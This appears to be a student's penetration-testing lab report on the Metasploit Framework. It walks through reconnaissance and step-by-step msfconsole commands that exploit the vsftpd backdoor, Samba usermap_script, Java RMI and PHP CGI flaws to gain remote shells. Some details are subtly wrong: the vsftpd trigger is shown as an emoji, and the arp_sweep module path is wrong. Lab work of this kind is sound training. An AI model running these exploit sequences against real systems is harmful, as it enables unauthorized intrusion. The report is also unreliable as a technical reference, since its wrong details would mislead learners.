Experiment Overview

This session focuses on the Metasploit Framework, an open-source platform designed for vulnerability assessment and penetration testing. It offers a comprehensive set of tools and modules to identify, exploit, and validate software weaknesses.

Initial Reconnaisance

Host Discovery

Use auxiliary modules like arp_sweep to detect live hosts on the network. Search for and execute the module using search arp_sweep followed by use auxiliary/scanner/local/arp_sweep.

Successful identification of the target machine was achieved.

Port Scanning

Conduct port scanning using nmap or auxiliary modules such as auxiliary/scanner/portscan/tcp. Identify open ports and services running on the target system.

The target was found to be running Samba 3.0.20-Debian.

Exploitation Steps

Vsftpd Backdoor (Port 21)

A backdoor exists in certain versions of the vsftpd service where a malicious payload is embedded. When a username ends with the smiley face character '😃', the server listens on port 6200 and allows arbitrary command execution.

Steps:

1. Launch Metasploit Console (msfconsole).
2. Load the exploit: use exploit/unix/ftp/vsftpd_234_backdoor
3. Set target IP: set RHOST <target_ip>
4. Execute: exploit

Upon succesfull exploitation, run commands like uname -a, pwd, and id to confirm access.

Samba MS-RPC Command Injection (Port 139)

An issue in Samba's handling of password updates leads to command injection through unfiltered input passed to /bin/sh. This can allow an attacker to execute arbitrary commands with the permissions of the nobody user.

Steps:

1. Load the exploit: use exploit/multi/samba/usermap_script
2. Set target IP: set RHOST <target_ip>
3. Execute: exploit

Verify success with uname -a.

Java RMI Server Vulnerability (Port 1099)

Default configurations in Java RMI services allow unauthorized remote code execution via registry and activation services.

Steps:

1. Confirm port 1099 is accessible.
2. Load the exploit: use exploit/multi/misc/java_rmi_server
3. Show configuration options: show options
4. Set target IP: set RHOST <target_ip>
5. Run exploit: exploit
6. Access session: sessions -i <session_id>
7. Enter Meterpreter shell: shell
8. Validate with whoami.

PHP CGI Argument Injection (Port 80)

Insecure parameter handling in PHP CGI scripts may lead to source code exposure and remote command execution.

Steps:

1. Launch Metasploit Console (msfconsole).
2. Select the exploit: use exploit/multi/http/php_cgi_arg_injection
3. Set target IP: set RHOST <target_ip>
4. Run: exploit

Observations and Reflections

The experiment proceeded smoothly without encountering any issues. It provided hands-on experience with Metasploit and deepened understanding of several well-known vulnerabilities and their exploitation techniques.